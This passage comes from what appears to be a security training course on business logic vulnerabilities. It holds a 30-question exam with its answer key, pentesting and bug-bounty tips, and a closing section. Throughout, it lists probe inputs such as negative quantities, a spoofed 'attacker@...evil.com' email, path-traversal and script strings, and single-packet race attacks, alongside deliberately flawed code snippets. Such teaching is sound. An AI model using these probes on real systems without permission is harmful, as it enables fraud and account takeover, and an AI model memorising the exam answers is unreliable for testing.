|  ==> Role checks on every endpoint (web, API, mobile, admin)     |
|  ==> Strict email parsing with single canonical library          |
|                                                                  |
+------------------------------------------------------------------+

SECTION 21. Exam

30 multiple-choice questions. Platform picks 20 random. Pass at 16/20.

Q1. Business logic vulnerabilities are difficult for scanners to find because: A. They are encrypted B. The malicious request looks identical to a normal request; only the value or workflow is unusual C. They require special HTTP methods D. They cannot be reproduced Answer: B.

Q2. Excessive Trust in Client-Side Controls means: A. The server uses HTTPS B. The server trusts a value the client controls without recomputation C. The client uses JavaScript D. The server uses a CDN Answer: B.

Q3. Which CWE is the umbrella weakness for business logic errors? A. CWE-79 B. CWE-89 C. CWE-840 D. CWE-22 Answer: C.

Q4. An Infinite Money Logic Flaw is: A. Generating cash from JavaScript B. A loop in the application's economic logic that creates value from nothing C. Encrypting money with ECB D. A type of XSS Answer: B.

Q5. A High-Level Logic Vulnerability typically affects: A. The CPU registers B. The overall business rule (e.g., "one limited item per customer") C. The TLS handshake D. The DNS resolution Answer: B.

Q6. Insufficient Workflow Validation lets the attacker: A. Use stronger encryption B. Skip steps in a multi-step process C. View source code D. Generate certificates Answer: B.

Q7. Authentication Bypass via Flawed State Machine works because: A. The session cookie is issued before the full authentication completes B. The browser refuses to send cookies C. TLS encryption fails D. The DNS is poisoned Answer: A.

Q8. A Weak Isolation on Dual-Use Endpoint vulnerability is: A. An endpoint that serves both public and admin users where a flag determines mode B. An endpoint that uses TLS 1.0 C. An endpoint that allows GET and POST D. An endpoint that accepts XML Answer: A.

Q9. Bypassing Access Controls Using Email Address Parsing Discrepancies typically exploits: A. SMTP encryption B. Disagreement between the validator (substring match) and the mail sender (RFC routing) C. SPF records D. DMARC alignment Answer: B.

Q10. An Authentication Bypass via Encryption Oracle uses: A. A feature that legitimately encrypts user input, reused to forge tokens B. Quantum computing C. Brute force of the key D. SSL stripping Answer: A.

Q11. The most common defense against price manipulation is: A. Use HTTPS B. Recompute the total server-side from the product catalog C. Add WAF rules D. Use longer session cookies Answer: B.

Q12. A race condition on coupon redemption is best demonstrated using: A. SQL injection B. Burp Turbo Intruder with race-single-packet-attack C. JavaScript bookmarklets D. DNS rebinding Answer: B.

Q13. Mass assignment (OWASP API6) is most closely related to: A. Business logic flaws via attacker-controlled fields like "role" B. SQL injection C. CORS misconfiguration D. DOM XSS Answer: A.

Q14. Which industry pays 45% of its bug bounty budget on business logic flaws according to HackerOne 2024-2025? A. Banking B. Crypto / Blockchain C. Government D. Healthcare Answer: B.

Q15. The 2022 Wormhole bridge incident lost approximately: A. $1M B. $10M C. $325M D. $1B Answer: C.

Q16. SELECT FOR UPDATE in SQL is used to: A. Update a value faster B. Lock a row so concurrent transactions cannot race against it C. Encrypt the row D. Bypass triggers Answer: B.

Q17. Inconsistent Security Controls means: A. Different endpoints enforce different (or no) authorization for the same data B. Different users use different browsers C. Different servers run different OSes D. Different times of day yield different errors Answer: A.

Q18. A common payload to test for negative-quantity bugs is: A. {"quantity": -1} B. {"quantity": "abc"} C. {"quantity": <script>} D. {"quantity": null} Answer: A.

Q19. Idempotency keys are used to: A. Encrypt payloads B. Ensure the same operation is not applied twice if a request is retried C. Generate session IDs D. Sign JWTs Answer: B.

Q20. A Flawed Enforcement of Business Rules vulnerability often involves: A. A rule that is enforced but bypassed by a separate parameter B. A rule that is implemented in JavaScript C. A rule that is logged D. A rule that is documented Answer: A.

Q21. What percentage of API attacks in 2024 were business logic attacks (per Imperva)? A. 5% B. 17% C. 27% D. 50% Answer: C.

Q22. When testing email parsing discrepancies, the most useful payload structure is: A. attacker@anasmarket.com.evil.com B. SELECT * FROM users C. <script>alert(1)</script> D. ../../../etc/passwd Answer: A.

Q23. What is the most reliable race-condition technique in 2026? A. Multi-threaded Python sleep B. Single-packet attack via Turbo Intruder C. JavaScript setInterval D. Synchronous AJAX Answer: B.

Q24. The Stripe $5,000 bounty for business logic was paid because of: A. Unlimited fee discount stacking B. SQL injection C. Password reset D. XSS Answer: A.

Q25. A workflow skip from /payment to /shipped is fixed by: A. Enforcing a server-side state machine B. Disabling JavaScript C. Using stronger TLS D. Adding a CAPTCHA Answer: A.

Q26. Currency confusion is a business logic bug because: A. The server ignores the currency field and uses the raw amount in the base currency B. The browser sends the wrong header C. The user typed the wrong number D. The exchange rate changed Answer: A.

Q27. What is the OWASP 2021 Top 10 category that best fits business logic flaws? A. A01 Broken Access Control B. A03 Injection C. A04 Insecure Design D. A07 Identification Failures Answer: C.

Q28. A dual-use endpoint flag the attacker should always try is: A. ?admin=1 B. ?style=blue C. ?lang=en D. ?page=2 Answer: A.

Q29. The fundamental defense against business logic bugs is: A. Patching libraries B. Designing invariants and enforcing them server-side C. Adding more rate limiting D. Using newer encryption Answer: B.

Q30. HackerOne's 9th annual report notes that 58% of researchers say AI: A. Replaces them entirely B. Misses business logic or chained exploits C. Has no value D. Is dangerous Answer: B.

Scoring guide

  • 27-30 correct ==> Excellent. You think like a logic hunter.
  • 24-26 correct ==> Solid. Practice on a live bug bounty target focused on e-commerce or DeFi.
  • 20-23 correct ==> Pass with reservation. Review Sections 8 and 11.
  • 16-19 correct ==> Pass at the minimum threshold. Review the whole course.
  • 14-15 correct ==> Retry. Read Sections 2, 8, and 11 again.
  • 0-13 correct ==> Fail. Restart the course from Section 1.

SECTION 22. Certificate Requirements

To earn the ANAS EDUCATION Business Logic Vulnerabilities certificate:

  • Complete all 24 sections (read or watch each).
  • Complete all ANAS EDUCATION business logic labs (released as SOON).
  • Pass the final exam with at least 16/20.

SECTION 23. Important Notes

Common Beginner Mistakes

  • Hunting only for technical bugs (XSS, SQLi) and ignoring the business. The bounty land is wide on logic flaws.
  • Testing only the happy path. The bug is always in an edge case the developer did not test.
  • Stopping at "reflected my input". Business logic bugs require chained reasoning beyond reflection.
  • Reporting "quantity can be negative" without quantifying the impact (free product, refund chain, balance drain).
  • Missing the parallel endpoint. If you find a bug on /admin/X, test /api/v1/X and /mobile/X too.

Pentester Tips

  • Read the documentation. Every published feature reveals an invariant.
  • Test the application from every role: anonymous, free user, paid user, admin, super admin.
  • Look for any field that affects money: amount, total, balance, credit, fee, discount, points, tokens.
  • Look for any field that affects identity: user_id, role, on_behalf_of, impersonate, as.
  • Look for any field that affects workflow: state, status, step, phase.
  • Use Burp Logger++ to record full sessions, then replay with edits.

Bug Bounty Tips

  • Logic bugs pay 5-10x more than reflected XSS on most programs. Hunt them.
  • The first report on a flow is the highest-paid; subsequent reports get marked duplicate. Move fast on new features.
  • Write reports with three sections: trigger steps, impact (in dollars or accounts), and remediation. Programs reward clarity.
  • Include a 30-second video showing the bug in action. Triagers triage faster.
  • Specialize in one industry (e-commerce, fintech, crypto, SaaS). Domain knowledge compounds.

Red Team Notes

  • Logic bugs are quiet. WAFs do not detect them. SOCs rarely alert on them.
  • Cryptographic oracles often outlive multiple penetration tests because they look like legitimate features.
  • Race condition exploitation is hard to detect after the fact unless audit logs include microsecond timestamps.
  • Mass-account-takeover via a single workflow bug is the highest-impact red team finding short of RCE.

Real-World Advice

  • Modern apps are 80% logic, 20% code. Most vulnerabilities live in the logic.
  • Threat modeling sessions before development catch more logic bugs than scanners ever will.
  • If you find a logic bug as a developer, write a regression test for it before patching. Otherwise it returns.
  • Cross-functional reviews (product, security, engineering) are the highest-ROI activity for catching logic bugs.

Things to Remember During Exams

  • The six families: Client-Side Trust, Business Rule Violations, Security Control Inconsistencies, Workflow and State, Access Control, Cryptographic Logic.
  • The 13 named sub-classes (memorize from Section 20 cheat sheet).
  • The hunter's question: "What invariant should this feature preserve, and what happens if I break it?"
  • The defense: recompute server-side, enforce state machines, idempotency keys, atomic DB operations.
  • CWE-840 is the umbrella weakness.

Things to Remember During Real Assessments

  • Test every feature with negative numbers, zero, fractional, integer-overflow, and very large numbers.
  • Test every workflow with steps skipped, repeated, and reordered.
  • Test every role with cross-role access attempts.
  • Test every endpoint twice: once as web UI, once as direct API.
  • Test every email-accepting feature with parsing-trick emails.

Frequently Confused Concepts

  • Business logic vs broken access control ==> overlap exists. If the bug is "wrong user can call this endpoint", it is access control. If the bug is "the right user can call the endpoint but the action violates a rule", it is logic. Many bugs are both.
  • Race condition vs business logic ==> race conditions are a sub-class of business logic; the underlying logic forgets to enforce mutual exclusion.
  • Mass assignment vs business logic ==> mass assignment is the technical mechanism; the business consequence (self-promote to admin) is the logic bug.
  • IDOR vs business logic ==> IDOR is about identifier guessing. Business logic includes IDOR and broader logic flows.

Interview Tips

  • Be ready to explain the difference between technical and logic bugs in two sentences.
  • Name three real-world logic flaws from public disclosures (USPS, Wormhole, Stripe).
  • Describe the Infinite Money Logic Flaw in detail with a coupon stacking example.
  • Know the OWASP A04:2021 Insecure Design category.
  • Know that CWE-840 is the umbrella weakness.

Key Takeaways

  • Business logic vulnerabilities are the most human bug class. Scanners cannot find them; only thoughtful testing can.
  • The bug is in the design, not the code. Patches require redesign, not just sanitization.
  • The bounty value is high; the OWASP Top 10 ranks them as A04 Insecure Design.
  • The thirteen named sub-classes (Section 20) cover the entire landscape.
  • Hunt them by asking, for every feature, "What invariant does this preserve, and what would break it?"

SECTION 24. Final Word from Your Instructor

Business logic vulnerabilities are the most beautiful bugs to hunt.

They are not in a library. They are not in a framework. They are not in a CVE. They are in the design choices the developer made at 3 AM when shipping the feature. They are in the assumptions nobody wrote down. They are in the gap between "what we built" and "what we said it does".

Every time a developer writes:

python
if data["price"] > 0:
    charge_card(data["price"])

A new price manipulation bug is born somewhere in the world.

Every time a developer writes:

python
session["user"] = user_lookup(username, password)
return "now enter OTP"

A new state machine bypass is born.

Every time a developer writes:

python
if "@anasmarket.com" in email:
    grant_employee_access(email)

A new email parsing bypass is born.

Your job, as a hunter, is to look at any application and ask one question:

  • "What invariant should this feature preserve, and what would happen if I broke it?"

When you see a price field in the request, ask: "What if the price is 1?"

When you see a quantity field, ask: "What if the quantity is -1?"

When you see a discount code, ask: "What if I apply it 50 times?"

When you see a 2FA login, ask: "What if I skip the OTP step?"

When you see a coupon redemption, ask: "What if I fire 30 requests in one TCP packet?"

When you see a corporate signup, ask: "What if my email is `attacker@anasmarket.com.evil.com`?"

When you see an encryption endpoint, ask: "What if I encrypt my own session cookie payload?"

When you see admin and user routes, ask: "What if I call the admin route with my user token?"

When you see a workflow with steps, ask: "What if I jump straight to the last step?"

When you see a refund, ask: "What if I refund after shipping?"

If the answer to any of these is "the application proceeds without error", you have found a bug worth real money.

The 13 named sub-classes are your hunting list. The six families are your map. The cheat sheet in Section 20 is your pocket reference.

The bug class is older than HTTP. The bug class is older than the World Wide Web. The bug class is as old as commerce itself: "the merchant did not check that the coin was real". It will outlive every framework and every language because it lives in the design, not in the implementation.

Bring patience. Bring curiosity. Bring the willingness to read the documentation in detail. Bring the willingness to try the thing the developer said is "impossible".

The biggest bounties of 2025 and 2026 were business logic findings. The biggest losses to DeFi protocols were business logic flaws. The biggest customer-data leaks were business logic failures. This class will pay your rent for years.

  • Welcome to the world where the only weapon you need is your brain.
  • Go hunt.